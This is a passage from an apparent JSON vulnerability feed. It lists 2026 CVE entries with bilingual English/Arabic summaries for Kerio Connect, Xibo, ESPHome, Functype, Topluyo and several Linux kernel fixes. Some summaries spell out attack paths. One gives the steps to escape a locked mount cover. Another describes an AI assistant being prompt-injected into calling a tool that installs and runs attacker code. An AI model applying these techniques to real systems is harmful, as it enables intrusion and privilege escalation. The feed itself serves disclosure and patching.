LLC GFI KerioConnect","affected":[["0 – <10.0.9p2","10.0.9p2"]],"title":{"en":"GFI KerioConnect KOFF < 10.0.9p2 Privilege Escalation","ar":"GFI KerioConnect KOFF الإصدارات أقل من 10.0.9p2: تصعيد الصلاحيات"},"summary":{"en":"GFI KerioConnect (Kerio Connect) Outlook Connector (Offline Edition), 'KOFF', before 10.0.9 Patch 2 contains a local privilege escalation vulnerability caused by weak installer permissions that leave the product directory writable by the built-in Users group. A local non-administrative attacker can replace the searchd.exe service binary used by the bundled KOFFIndexingService, which runs as LocalSystem, to execute arbitrary code with NT AUTHORITY\\SYSTEM privileges upon the next service start or reboot.","ar":"يحتوي موصل GFI KerioConnect (Kerio Connect) Outlook Connector (النسخة غير المتصلة)، المسمى 'KOFF'، قبل الإصدار 10.0.9 Patch 2 على ثغرة تصعيد صلاحيات محلي ناتجة عن أذونات تثبيت ضعيفة تجعل دليل المنتج قابلاً للكتابة بواسطة مجموعة المستخدمين المضمنة (Users). يمكن لمهاجم محلي بلا صلاحيات إدارية استبدال ثنائي خدمة searchd.exe المستخدم بواسطة KOFFIndexingService المدمج، والذي يعمل بصلاحيات LocalSystem، لتنفيذ شيفرة عشوائية بصلاحيات NT AUTHORITY\\SYSTEM عند بدء الخدمة التالي أو إعادة تشغيل النظام."},"refs":[["https://gfi.ai/resource/kerioconnect-product-releases/","patch"],["https://www.vulncheck.com/advisories/gfi-kerioconnect-koff-9p2-privilege-escalation","advisory"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"gfi-usa-llc-gfi-kerioconnect"},{"id":"CVE-2026-106971","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T15:17:02Z","product":"Unknown product","affected":[],"title":{"en":"An integer overflow in the MessagePack\\BufferUnpacker component of rybakit/msgpack versions prior to 0.11.0 allows attackers to cause a denial of serv","ar":"فيضان عدد صحيح في مكون MessagePack\\BufferUnpacker للإصدارات السابقة لـ 0.11.0 من rybakit/msgpack يسمح للمهاجمين بالتسبب في حجب الخدمة"},"summary":{"en":"An integer overflow in the MessagePack\\BufferUnpacker component of rybakit/msgpack versions prior to 0.11.0 allows attackers to cause a denial of service via crafted MessagePack input when the application runs on 32-bit PHP","ar":"فيضان عدد صحيح في مكون MessagePack\\BufferUnpacker للإصدارات السابقة لـ 0.11.0 من rybakit/msgpack يسمح للمهاجمين بالتسبب في حجب الخدمة عبر مدخلات MessagePack مصممة خصيصًا عندما يعمل التطبيق على PHP بتصميم 32-bit"},"refs":[["https://github.com/diptendukar/security-advisories/blob/main/CVE-2026-106971.md","ref"],["https://github.com/rybakit/msgpack.php","ref"],["https://github.com/rybakit/msgpack.php/releases/tag/v0.11.0","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-52729","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T14:17:04Z","product":"xibosignage xibo-cms","affected":[],"title":{"en":"Xibo: IDOR (Broken Object-Level Authorization) on PUT/DELETE /action/{id} Allows Arbitrary Layout Action Modification and Deletion","ar":"Xibo: ثغرة مرجع الكائن غير الم آمن (IDOR) في مسار PUT/DELETE /action/{id} تتيح تعديل وحذف إجراءات التخطيط العشوائية"},"summary":{"en":"Xibo is an open source digital signage platform with a web content management system and Windows display player software. Prior to 4.4.3, missing access-control checks on `PUT/DELETE /action/{id}` allow an authenticated user to modify or delete actions on any Layout. Exploitation requires the privilege to allow edits, including deletion, to all created Layouts, which is granted to non-administrators as standard. This issue concerns `Layout actions` rather than the separately reported DataSet export vulnerability. This issue is fixed in version 4.4.3.","ar":"نظام Xibo هو منصة لوحات إعلانات رقمية مفتوحة المصدر تتضمن نظام إدارة محتوى ويب وبرنامج مشغل عرض لنظام Windows. قبل الإصدار 4.4.3، أدى غياب فحوصات التحكم في الوصول على المسار `PUT/DELETE /action/{id}` إلى السماح لمستخدم مصادق عليه بتعديل أو حذف الإجراءات على أي تخطيط (Layout). يتطلب الاستغلال صلاحية السماح بالتعديلات، بما في ذلك الحذف، لجميع التخطيطات المنشأة، والتي تُمنح للمستخدمين غير المسؤولين بشكل قياسي. تتعلق هذه المشكلة بـ `إجراءات التخطيط` وليس بثغرة تصدير DataSet المبلغ عنها بشكل منفصل. تم إصلاح هذه المشكلة في الإصدار 4.4.3."},"refs":[["https://github.com/xibosignage/xibo-cms/commit/96d7b458781b8cd10e64788565fbdeffd15f08cf","ref"],["https://github.com/xibosignage/xibo-cms/commit/efd13abf868e2386f40929ed6e4f36fead310f20","ref"],["https://github.com/xibosignage/xibo-cms/pull/3492","ref"],["https://github.com/xibosignage/xibo-cms/releases/tag/4.4.3","ref"],["https://github.com/xibosignage/xibo-cms/releases/tag/4.5.0-beta","ref"],["https://github.com/xibosignage/xibo-cms/security/advisories/GHSA-7j3h-48f7-w4fr","ref"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"xibosignage-xibo-cms"},{"id":"CVE-2026-59177","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-1327","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T13:12:14Z","product":"esphome device-builder","affected":[],"title":{"en":"ESPHome Device Builder allows unauthenticated dashboard access via the HA add-on ingress site bound to all interfaces","ar":"يسمح ESPHome Device Builder بالوصول إلى لوحة التحكم دون مصادقة عبر موقع ingress الملحق لـ HA والمرتبط بجميع الواجهات"},"summary":{"en":"ESPHome Device Builder Dashboard is a dashboard for the ESPHome home management software. Prior to 1.0.10, the `Home Assistant` add-on's trusted `ingress` site binds to `0.0.0.0` while intentionally skipping dashboard authentication because the supervisor is expected to authenticate requests upstream. Host networking, required for mDNS, also binds this no-auth site to the `Home Assistant` host's LAN interface. Any device on that local network can therefore connect directly to the `ingress` port, bypass the supervisor, and obtain the full dashboard without credentials or operator misconfiguration. Dashboard capability includes compile-time Python execution through `external_components:`, shell execution through compile and validation subprocesses, and arbitrary access to configuration and data files, compromising the mounted `Home Assistant` configuration and managed ESPHome devices. The standalone Docker dashboard and the password-gated public port 6052 are not affected. This issue is fixed in version 1.0.10.","ar":"لوحة تحكم ESPHome Device Builder هي لوحة تحكم برمجيات إدارة المنزل ESPHome. قبل الإصدار 1.0.10، يرتبط موقع `ingress` الموثوق به لملحق `Home Assistant` بالعنوان `0.0.0.0` مع تخطي مصادقة لوحة التحكم عمداً نظراً لتووقع أن يقوم المشرف بالمصادقة على الطلبات من المنبع. كما يربط شبكات المضيف، المطلوبة لـ mDNS، هذا الموقع الخالي من المصادقة بواجهة الشبكة المحلية لمضيف `Home Assistant`. وبالتالي، يمكن لأي جهاز على تلك الشبكة المحلية الاتصال مباشرة بمنفذ `ingress`، وتجاوز المشرف، والحصول على لوحة التحكم الكاملة دون بيانات اعتماد أو سوء تكوين من المشغل. تتضمن إمكانيات لوحة التحكم تنفيذ لغة Python وقت الترجمة عبر `external_components:`، وتنفيذ الأوامر عبر العمليات الفرعية للترجمة والتحقق، والوصول التعسفي إلى ملفات التكوين والبيانات، مما يؤدي إلى اختراق تكوين `Home Assistant` المثبت وأجهزة ESPHome المُدارة. لا تأثر لوحة تحكم Docker المستقلة والمنفذ العام المحمي بكلمة مرور 6052 بهذه المشكلة. تم إصلاح هذه المشكلة في الإصدار 1.0.10."},"refs":[["https://github.com/esphome/device-builder/security/advisories/GHSA-vv4j-m4vr-f3g6","ref"],["https://github.com/esphome/device-builder/pull/1565","ref"],["https://github.com/esphome/device-builder/commit/b6387db3f8bf1d3df5771f40e9856b959ae4f6a1","ref"],["https://github.com/esphome/device-builder/releases/tag/1.0.10","ref"]],"epss":0.0117,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"esphome-device-builder"},{"id":"CVE-2026-59176","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-829","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T13:08:52Z","product":"jordanburke functype","affected":[["<= 1.4.3","1.4.4"]],"title":{"en":"Functype: MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import","ar":"حزمة Functype: تجاوز التنفيذ عن بُعد عبر اسم مستعار لحزمة MCP باستخدام pnpm install غير المطهر والاستيراد الديناميكي"},"summary":{"en":"Functype is a family of TypeScript functional programming libraries. Prior to 1.4.4, the `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string using only `z.string()` validation in `packages/mcp-server/src/index.ts` and interpolates it into `functype@<version>` for `pnpm add`. Package-alias syntaxes such as `file:`, `npm:`, URLs, or paths can cause an arbitrary local or remote package to be installed as functype. Immediately afterward, `initDocsData(true)` in `packages/mcp-server/src/lib/docs/data.ts` resolves `functype/cli` and dynamically imports the newly installed module, executing attacker-controlled JavaScript with the MCP server process's privileges. Any MCP client able to send a `tools/call` request invoking the tool can exploit the flaw; the tool is enabled by default without authentication in `stdio` mode. A connected AI assistant susceptible to indirect prompt injection can also be induced to invoke it from a malicious document or web page. In non-default `TRANSPORT_TYPE=httpStream` deployments, a network-accessible attacker does not require local access. Successful execution can read process secrets, modify files, or terminate the server. This issue is fixed in `version` 1.4.4.","ar":"Functype هي عائلة من مكتبات البرمجة الوظيفية بلغة TypeScript. قبل الإصدار 1.4.4، تقبل أداة MCP المسماة `set_functype_version` في `functype-mcp-server` سلسلة `version` غير مقيدة تستخدم تحقق `z.string()` فقط في `packages/mcp-server/src/index.ts` وتدمجها في `functype@<version>` للأمر `pnpm add`. يمكن لبنى الأسماء المستعار للححزمة مثل `file:` أو `npm:` أو عناوين URLs أو المسارات أن تتسبب في تثبيت حزمة محلية أو عن بُعد عشوائية باعتبارها functype. بعد ذلك مباشرة، تقوم وظيفة `initDocsData(true)` في `packages/mcp-server/src/lib/docs/data.ts` بحل `functype/cli` واستيراد الوحدة المثبتة حديثًا ديناميكيًا، مما يؤدي إلى تنفيذ شيفرة JavaScript يسيطر عليها المهاجم بصلاحيات عملية خادم MCP. يمكن لأي عميل MCP قادر على إرسال طلب `tools/call` يستפי/يستدعي الأداة استغلال الثغرة؛ وتكون الأداة ممكّنة افتراضيًا دون مصادقة في وضع `stdio`. ويمكن أيضًا دفع مساعد ذكاء اصطناعي متصل والمعرض لحقن التوجيه غير المباشر إلى استدعائها من مستند ضار أو صفحة ويب. في عمليات النشر غير الافتراضية `TRANSPORT_TYPE=httpStream`، لا يحتاج المهاجم القابل للوصول عبر الشبكة إلى وصول محلي. يمكن للتنفيذ الناجح قراءة أسرار العمليات، أو تعديل الملفات، أو إنهاء الخادم. تم إصلاح هذه المشكلة في الإصدار 1.4.4."},"refs":[["https://github.com/advisories/GHSA-wcjj-9m6g-2fr2","advisory"],["https://github.com/jordanburke/functype/security/advisories/GHSA-wcjj-9m6g-2fr2","ref"],["https://github.com/jordanburke/functype/commit/c0d58ad9c2a7d15c6117bd3adbbd75de37317dcf","ref"],["https://github.com/jordanburke/functype/releases/tag/v1.4.4","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-59176","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jordanburke-functype"},{"id":"CVE-2026-115904","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T12:55:04Z","product":"topluyo App","affected":[],"title":{"en":"Topluyo Desktop for Linux has an OS Command Injection issue","ar":"تطبيق Topluyo Desktop لنظام Linux يعاني من مشكلة حقن أوامر نظام التشغيل"},"summary":{"en":"Topluyo is a social networking platform. A vulnerability exists in Topluyo Desktop for Linux prior to version 2026.9.2410 where user-controlled URLs are unsafely processed, leading to OS Command Injection via the `openExternalLinks()` routine in `utils.js`. An attacker who controls a target URL can execute arbitrary operating system commands with the privileges of the user running the application upon opening the link. Version 2026.9.2410 patches the issue.","ar":"Topluyo هي منصة شبكات اجتماعية. توجد ثغرة في Topluyo Desktop لنظام Linux قبل الإصدار 2026.9.2410 حيث تتم معالجة عناوين URLs التي يتحكم بها المستخدم بطريقة غير آمنة، مما يؤدي إلى حقن أوامر نظام التشغيل عبر روتين `openExternalLinks()` في الملف `utils.js`. يمكن لمهاجم يتحكم في عنوان URL مستهدف تنفيذ أوامر عشوائية لنظام التشغيل بصلاحيات المستخدم الذي يشغل التطبيق عند فتح الرابط. يعالج الإصدار 2026.9.2410 هذه الثغرة."},"refs":[["https://github.com/topluyo/App/security/advisories/GHSA-vrrv-3f46-c3x7","ref"]],"epss":0.0074,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"topluyo-app"},{"id":"CVE-2026-99185","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:39Z","product":"Linux Linux","affected":[["6.19",null]],"title":{"en":"firewire: core: fix race condition in split transaction handling","ar":"firewire: core: إصلاح حالة سباق في معالجة المعاملات المجزأة"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: firewire: core: fix race condition in split transaction handling For a split transaction, either fw_core_handle_response() or split_transaction_timeout_callback() may manipulate the same transaction entry in the pending transaction list. The return value of timer_delete() is used to determine which function handles the entry. If the transaction is a split transaction and timer_delete() returns zero, the timeout callback may already be running. In this case, the response handler must leave the entry in the list for the timeout callback to remove. A previous code refactoring broke this behavior, introducing a race condition in which both functions could process the same transaction. This could lead to a use-after-free on the transaction initiator side. Fix the regression by ensuring that the response handler does not process the transaction when timer_delete() returns zero. The timeout callback is responsible for removing the entry from the pending transaction list.","ar":"تم حل الثغرة التالية في Linux kernel: في firewire: core، تم إصلاح حالة سباق (race condition) في معالجة المعاملات المجزأة (split transactions). ففي المعاملة المجزأة، قد تعدل إما fw_core_handle_response() أو split_transaction_timeout_callback() نفس مدخل المعاملة في قائمة المعاملات المعلقة. وتُستخدم القيمة المعادة من timer_delete() لتحديد أي الدالتين تتولى معالجة المدخل. إذا كانت المعاملة مجزأة وأعادت timer_delete() القيمة صفر، فقد تكون دالة رد نداء انتهاء المهلة قيد التشغيل بالفعل. في هذه الحالة، يجب على معالج الاستجابة ترك المدخل في القائمة لتتولى دالة رد نداء المهلة حذفه. تسببت إعادة هيكلة سابقة للشيفرة في كسر هذا السلوك، مما أدى إلى إدخال حالة سباق يمكن أن تعالج فيها كلتا الدالتين المعاملة نفسها، مما قد يؤدي إلى استخدام بعد الإلغاء (use-after-free) لدى بادئ المعاملة. تم إصلاح هذا التراجع بضمان عدم معالجة معالج الاستجابة للمعاملة عندما تعيد timer_delete() القيمة صفر، مع ترك مهمة إزالة المدخل من قائمة المعاملات المعلقة لدالة رد نداء انتهاء المهلة."},"refs":[["https://git.kernel.org/stable/c/7f9f2d6abc40f79e802b4063859eda343043b85c","ref"],["https://git.kernel.org/stable/c/a8caee0e623ca5d56e829032f9ec073c09e4d224","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99177","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:38Z","product":"Linux Linux","affected":[["7.2",null]],"title":{"en":"KVM: SEV: Fix page dirtying in sev_gmem_post_populate()","ar":"KVM: SEV: إصلاح تعيين حالة الصفحة كمتسخة في sev_gmem_post_populate()"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: KVM: SEV: Fix page dirtying in sev_gmem_post_populate() set_page_dirty() requires that the caller holds some kind of lock to ensure that the page's mapping does not concurrently go away. That is not the case for a random page we got from get_user_pages_fast(), so use set_page_dirty_lock(). [sean: tag for stable]","ar":"تم حل الثغرة التالية في Linux kernel: في KVM: SEV: إصلاح تعيين حالة الصفحة كمتسخة (page dirtying) في دالة sev_gmem_post_populate(). تتطلب دالة set_page_dirty() أن يحمل المتصل نوعاً من الأقفال لضمان عدم اختفاء تخطيط الصفحة (page's mapping) بالتزامن. لم يكن هذا هو الحال مع صفحة عشوائية تم الحصول عليها من get_user_pages_fast()، لذا تم استخدام set_page_dirty_lock(). [sean: تم تحديدها لفرع stable]."},"refs":[["https://git.kernel.org/stable/c/184382f9852d433af21de96c334ecf43b8414ed8","ref"],["https://git.kernel.org/stable/c/97818b2fa7082e940ddd36dab12a68615300e798","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99180","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:38Z","product":"Linux Linux","affected":[["5.2",null]],"title":{"en":"unicode: free the map after a grace period","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: unicode: free the map after a grace period generic_ci_d_hash() and generic_ci_d_compare() read sb->s_encoding and dereference the unicode map while a pathwalk in rcu mode holds nothing but rcu_read_lock(). The filesystems that use them, ext4, f2fs and tmpfs, drop the map with utf8_unload() from ->put_super(), which runs when the last reference to the mount goes away. A lookup that is still inside such a filesystem at that point reads a freed map. With a pathwalk held up in utf8_casefold_hash() while the last reference to a casefolded tmpfs goes away: BUG: KASAN: slab-use-after-free in utf8nlookup+0x74c/0x950 Read of size 8 at addr ff110001030fe658 by task walker/98 Call Trace: <TASK> utf8nlookup+0x74c/0x950 utf8byte+0x160/0x1560 utf8_casefold_hash+0x167/0x230 generic_ci_d_hash+0xdd/0x1c0 link_path_walk+0x11ad/0x1d30 path_lookupat+0x63/0xb00 filename_lookup+0x1f1/0x5b0 vfs_statx+0xd7/0x3b0 [...] Allocated by task 94: __kmalloc_cache_noprof+0x249/0x560 utf8_load+0x4e/0x570 shmem_parse_opt_casefold.isra.0+0x92/0x270 [...] Freed by task 97: kfree+0x1db/0x5b0 shmem_put_super+0x72/0x170 generic_shutdown_super+0x14c/0x530 kill_anon_super+0x3a/0x60 deactivate_locked_super+0x9c/0xf0 cleanup_mnt+0x9f/0x130 So far that has been hard to hit. umount(2) waits for a grace period in namespace_unlock() before it drops the mount, so only a mount whose last reference goes away elsewhere, like the close of a file or a chdir out of a lazily unmounted directory, can race a walker. So it is reachable. Delay the free until a grace period has passed. The map and the data table it holds a reference to then outlive any pathwalk that found the superblock before the mount went away. The reference on the data table module is dropped from the rcu callback as well. utf8-core is built in whenever CONFIG_UNICODE is set, so there is no module exit that would have to wait for the callbacks. Overlayfs points the s_encoding of an overl…","ar":"In the Linux kernel, the following vulnerability has been resolved: unicode: free the map after a grace period generic_ci_d_hash() and generic_ci_d_compare() read sb->s_encoding and dereference the unicode map while a pathwalk in rcu mode holds nothing but rcu_read_lock(). The filesystems that use them, ext4, f2fs and tmpfs, drop the map with utf8_unload() from ->put_super(), which runs when the last reference to the mount goes away. A lookup that is still inside such a filesystem at that point reads a freed map. With a pathwalk held up in utf8_casefold_hash() while the last reference to a casefolded tmpfs goes away: BUG: KASAN: slab-use-after-free in utf8nlookup+0x74c/0x950 Read of size 8 at addr ff110001030fe658 by task walker/98 Call Trace: <TASK> utf8nlookup+0x74c/0x950 utf8byte+0x160/0x1560 utf8_casefold_hash+0x167/0x230 generic_ci_d_hash+0xdd/0x1c0 link_path_walk+0x11ad/0x1d30 path_lookupat+0x63/0xb00 filename_lookup+0x1f1/0x5b0 vfs_statx+0xd7/0x3b0 [...] Allocated by task 94: __kmalloc_cache_noprof+0x249/0x560 utf8_load+0x4e/0x570 shmem_parse_opt_casefold.isra.0+0x92/0x270 [...] Freed by task 97: kfree+0x1db/0x5b0 shmem_put_super+0x72/0x170 generic_shutdown_super+0x14c/0x530 kill_anon_super+0x3a/0x60 deactivate_locked_super+0x9c/0xf0 cleanup_mnt+0x9f/0x130 So far that has been hard to hit. umount(2) waits for a grace period in namespace_unlock() before it drops the mount, so only a mount whose last reference goes away elsewhere, like the close of a file or a chdir out of a lazily unmounted directory, can race a walker. So it is reachable. Delay the free until a grace period has passed. The map and the data table it holds a reference to then outlive any pathwalk that found the superblock before the mount went away. The reference on the data table module is dropped from the rcu callback as well. utf8-core is built in whenever CONFIG_UNICODE is set, so there is no module exit that would have to wait for the callbacks. Overlayfs points the s_encoding of an overl…"},"refs":[["https://git.kernel.org/stable/c/092e14e1479a39157ca01668d43e4649793f39ed","ref"],["https://git.kernel.org/stable/c/2b54d3c971a1e5df3c9b0bcc10311ae6c29e79d8","ref"],["https://git.kernel.org/stable/c/5d7687b0b71601cc32f1bfd62f56cf5eea3e5a07","ref"],["https://git.kernel.org/stable/c/6472455f2b015cad43adb790cb63fe1d3cff2f57","ref"],["https://git.kernel.org/stable/c/6560c3d9a6925e3747d9ad8463e16010c31ba715","ref"],["https://git.kernel.org/stable/c/69a0d6b31d05e856c7335509222f25321e3c69ca","ref"],["https://git.kernel.org/stable/c/a96c5299bd7305eb984377681eb3222a57376405","ref"],["https://git.kernel.org/stable/c/f96c2731a105d6663c606388f5dc21781e00ade5","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99167","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:37Z","product":"Linux Linux","affected":[["4.19",null]],"title":{"en":"net/sched: fix use-after-free in __tcf_action_put()","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: net/sched: fix use-after-free in __tcf_action_put() __tcf_action_put() decrements the reference count before decrementing the binding count. Another thread can free the action between these operations, causing the binding-count update to access freed memory. KASAN reports it as: BUG: KASAN: slab-use-after-free in __tcf_action_put+0x327/0x340 Write of size 4 at addr ff11000000d46420 by task tc-put-pause/64 Hold the action IDR mutex across both counter updates and IDR removal, keeping cleanup outside the lock.","ar":"In the Linux kernel, the following vulnerability has been resolved: net/sched: fix use-after-free in __tcf_action_put() __tcf_action_put() decrements the reference count before decrementing the binding count. Another thread can free the action between these operations, causing the binding-count update to access freed memory. KASAN reports it as: BUG: KASAN: slab-use-after-free in __tcf_action_put+0x327/0x340 Write of size 4 at addr ff11000000d46420 by task tc-put-pause/64 Hold the action IDR mutex across both counter updates and IDR removal, keeping cleanup outside the lock."},"refs":[["https://git.kernel.org/stable/c/2465d27ef90de9105c2bffb6c35f8ce08918e642","ref"],["https://git.kernel.org/stable/c/2e012e431aa271ef3c84206f48854f539c03bff0","ref"],["https://git.kernel.org/stable/c/4d83a3fc03bc595dd39b79ad61288738fbb1f2ba","ref"],["https://git.kernel.org/stable/c/7b16eb911091aae237a8673da94e4dfb9cd21d54","ref"],["https://git.kernel.org/stable/c/969ad6f2b266f383b44194d50d15631969b26222","ref"],["https://git.kernel.org/stable/c/fcc7d734ceccfab8ec3398c5b34f8e775d459507","ref"],["https://git.kernel.org/stable/c/fd01abed2568209f7daaf60e5ee68ae4a4744f48","ref"],["https://git.kernel.org/stable/c/fde33eb9955d819af282d5f5e84684eaec248291","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99170","cvss":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:37Z","product":"Linux Linux","affected":[["7.1",null]],"title":{"en":"namespace: a mount that copy_tree() leaves out can't take over a lock","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: namespace: a mount that copy_tree() leaves out can't take over a lock Since commit c62a4766937e (\"move_mount: transfer MNT_LOCKED\") a mount can be moved beneath a locked mount. The lock moves from the old cover to the new mount which takes over the job of hiding what's under it and the old cover can be unmounted. That works as long as the new mount stays. But the caller picks the new mount and copy_tree() leaves a mount of a mount namespace file out of every copy made without CL_COPY_MNT_NS_FILE, together with everything mounted on it, and never looks at MNT_LOCKED. unshare(CLONE_NEWNS) and mount propagation make such copies. So a task that is root in its own user namespace gets rid of a locked cover on a file without a race and without touching the filesystem below it. It makes a child with a mount namespace of its own, binds the child's /proc/<pid>/ns/mnt beneath the cover with MOVE_MOUNT_BENEATH, which hands the lock to that bind, and calls unshare(CLONE_NEWNS). The new mount namespace has nothing on the file. That's the usual way to mask a single file, a bind of /dev/null or of an empty file. With a bind of an ordinary file the file stays covered. copy_tree() already refuses to leave out a locked unbindable mount with -EPERM since commit df7342b24018 (\"mount: Don't allow copying MNT_UNBINDABLE|MNT_LOCKED mounts\"). Do the same for a locked mount of a mount namespace file. That also covers a tree copied with CL_COPY_MNT_NS_FILE and attached into a mount namespace of another user namespace where lock_mnt_tree() locks it. Note that unshare(CLONE_NEWNS) and clone(CLONE_NEWNS) fail with EPERM from such a mount namespace from then on. The mount can't be left out and it can't be unmounted. And refuse to move a mount of a mount namespace file beneath a locked mount in the first place. Otherwise the task ends up with a mount it can't unmount and an unshare() that fails for good. Chris also found a second…","ar":"In the Linux kernel, the following vulnerability has been resolved: namespace: a mount that copy_tree() leaves out can't take over a lock Since commit c62a4766937e (\"move_mount: transfer MNT_LOCKED\") a mount can be moved beneath a locked mount. The lock moves from the old cover to the new mount which takes over the job of hiding what's under it and the old cover can be unmounted. That works as long as the new mount stays. But the caller picks the new mount and copy_tree() leaves a mount of a mount namespace file out of every copy made without CL_COPY_MNT_NS_FILE, together with everything mounted on it, and never looks at MNT_LOCKED. unshare(CLONE_NEWNS) and mount propagation make such copies. So a task that is root in its own user namespace gets rid of a locked cover on a file without a race and without touching the filesystem below it. It makes a child with a mount namespace of its own, binds the child's /proc/<pid>/ns/mnt beneath the cover with MOVE_MOUNT_BENEATH, which hands the lock to that bind, and calls unshare(CLONE_NEWNS). The new mount namespace has nothing on the file. That's the usual way to mask a single file, a bind of /dev/null or of an empty file. With a bind of an ordinary file the file stays covered. copy_tree() already refuses to leave out a locked unbindable mount with -EPERM since commit df7342b24018 (\"mount: Don't allow copying MNT_UNBINDABLE|MNT_LOCKED mounts\"). Do the same for a locked mount of a mount namespace file. That also covers a tree copied with CL_COPY_MNT_NS_FILE and attached into a mount namespace of another user namespace where lock_mnt_tree() locks it. Note that unshare(CLONE_NEWNS) and clone(CLONE_NEWNS) fail with EPERM from such a mount namespace from then on. The mount can't be left out and it can't be unmounted. And refuse to move a mount of a mount namespace file beneath a locked mount in the first place. Otherwise the task ends up with a mount it can't unmount and an unshare() that fails for good. Chris also found a second…"},"refs":[["https://git.kernel.org/stable/c/69fbe94f80bc423613fa18dae6656757423732a2","ref"],["https://git.kernel.org/stable/c/bd71d33923b9d6216bcee44331dd37142b0a8441","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99173","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T11:17:37Z","product":"Linux Linux","affected":[["6.6.46 – <6.6.161","6.6.161"],["6.10.5 – <6.11","6.11"]],"title":{"en":"eventfs: Free the eventfs_inode after an rcu grace period too","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: eventfs: Free the eventfs_inode after an rcu grace period too tracefs_d_revalidate() reads ->is_freed of the eventfs_inode that dentry->d_fsdata points to, and ->d_revalidate() is called in rcu pathwalk mode with nothing but rcu_read_lock() held. The dentry itself stays around for such a walker, but tracefs_d_release() drops its reference to the eventfs_inode when the dentry is killed, and release_ei() then frees it after a grace period of eventfs_srcu. An SRCU grace period doesn't wait for rcu_read_lock() sections, so the walker can read an eventfs_inode that is already gone. With a pathwalk held up in tracefs_d_revalidate() while the dentry goes away: BUG: KASAN: slab-use-after-free in tracefs_d_revalidate+0x76/0x90 Read of size 1 at addr ff1100010152d8d0 by task walker/97 Call Trace: <TASK> tracefs_d_revalidate+0x76/0x90 lookup_fast+0x320/0x640 path_lookupat+0x160/0xb00 filename_lookup+0x1f1/0x5b0 vfs_statx+0xd7/0x3b0 vfs_fstatat+0x4d/0x90 __do_sys_newfstatat+0xa0/0x100 do_syscall_64+0x10e/0x5e0 entry_SYSCALL_64_after_hwframe+0x77/0x7f [...] Allocated by task 1: __kmalloc_cache_noprof+0x249/0x560 eventfs_create_dir+0x7a/0x590 event_create_dir+0x2fb/0xcf0 trace_add_event_call+0xbf/0x150 [...] Freed by task 11: 